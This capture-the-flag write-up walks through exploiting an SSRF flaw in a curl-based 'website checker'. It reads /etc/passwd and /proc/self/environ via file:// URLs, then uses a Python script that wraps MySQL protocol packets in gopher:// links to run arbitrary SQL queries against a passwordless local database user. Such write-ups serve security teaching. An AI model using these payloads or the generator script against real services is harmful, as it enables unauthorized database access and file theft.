Hacklab ESGI 2019 | Rookie Web100 Writeup

SSRF using gopher and curl

Challenge Description

Category Points Solves
web 100 18


rookie_chall_description

This is the URL for the challenge.

URL:http://ctf.hacklab-esgi.org:8082/

So, as soon as we visit the given URL, we get a simple web page saying Website Checker and the title saying super curling (this gonna be fun!!). we notice that there is one input in the page, whatever you give as input gets passed to curl as a parameter. At first I thought that it was a just a simple command injection vulnerability (this supposition tuned out to be False!).

super_curling_webpage

If we provide www.google.com as input, we get the content of google displayed to us.So I started playing with the input to see if I can get some unexpected output.

Let’s try to access /etc/passwd, we will use the file protocol to do so, we can get access to local files with curl using the file protocol.
input: file:///etc/passwd

etcpasswd_curl

we can notice mysql and www-data users.
Let’s try accessing /proc/self/environ, by inputing file:///proc/self/environ.

proc_self_environ

PWD = /var/www/html

let’s try accessing /var/www/html/config.php, we get nothing :‘(, after a while a friend told me to check /var/www/html/config_test.php, after doing that, nothing gets included in the page, but if we check the page source (Ctrl+U), we get some interesting php code.

page_source

We notice an interesting comment,

// TODO: MySQL connection with "tiix" user and adding a MySQL password...

We have a mysql user tiix with no password!!.

let’s use gopher protocol and build a GREAT payload to connect to the database as tiix user.

To do so, we need to know how does mysql creates a connection packet and the Query as well.

let’s sniff some traffic generated by the mysql command on our own machine.

I have created a new mysql user before that, its not really necessary.

CREATE USER 'tiix'@'localhost';

We can now execute the mysql command and see the generated packets in wireshark.

mysql -u tiix -h 127.0.0.1

wireshark_mysql_conn

we now need to convert to Raw bytes and make a gopher payload link.

  • converting to raw bytes in wireshark

raw_bytes_mysql_packet

  • making a gopher payload link.

To do so all we need to do is precced each byte with an % symbol.

here is a script to do it with python.

def gopher_exploit(payload_str):
    payload = [payload_str[i:i+2] for i in range(0, len(payload_str), 2)]
    return 'gopher://127.0.0.1:3306/_%' + '%'.join(payload)

we get this payload as a result.

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%69%69%78%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%01%00%00%00%03%01%00%00%00%01

Here is the result when inputing the payload.
result_gopher_paylaod1

We can see the mysql Database version in the output. Now we can execute SQL queries. Here is a script I made to automate the process, it takes a query as argument and returns a gopher payload link. (We no longer need wireshark!!).

#!/usr/bin/python3

# coding : utf-8
import sys


global mysql_username
global hex_user

mysql_username = 'tiix'
hex_user = mysql_username.encode().hex()


def gopher_exploit(payload_str):
    payload = [payload_str[i:i+2] for i in range(0, len(payload_str), 2)]
    return 'gopher://127.0.0.1:3306/_%' + '%'.join(payload)

def main(query):
    global mysql_username
    global hex_user

    length = 'a3'
    if len(mysql_username) - 4 != 0:
        length = (chr(0xa3+(len(mysql_username) - 4))).encode().hex()


    conn_packet = length + '00000185a6ff0100000001210000000000000000000000000000000000000000000000'
    conn_packet += hex_user
    conn_packet += '00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c'
    conn_packet += '69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d'
    conn_packet += '067838365f36340c70726f6772616d5f6e616d65056d7973716c'


    auth = conn_packet.replace('\n', '')

    query = query.strip()
    hex_query = query.encode().hex()
    query_len_hex = '{:x}'.format((int((len(hex_query) / 2) + 1)))

    query_payload = query_len_hex.rjust(2,'0') + "00000003" + hex_query


    print(gopher_exploit(auth + query_payload + '0100000001'))


if __name__ == "__main__":
   query = sys.argv[1]
   main(query)
  • let’s dump databases
python3 exploit.py "show databases"

After inputing the resulting gopher payload link we find a database named securityday.

  • Dumping database tables.
python3 exploit.py "use securityday;show tables;"

We get two tables:

  • nothinghere
  • users

Let’s select now everything from nothinghere.

python3 exploit.py "use securityday; SELECT * FROM nothinghere;"

After the last payload we get the flag :D.

flag_rookie

FLAG: ESGI{W3lC0me_R00ki3_M0th3r_1s_0ld}


See also

comments powered by Disqus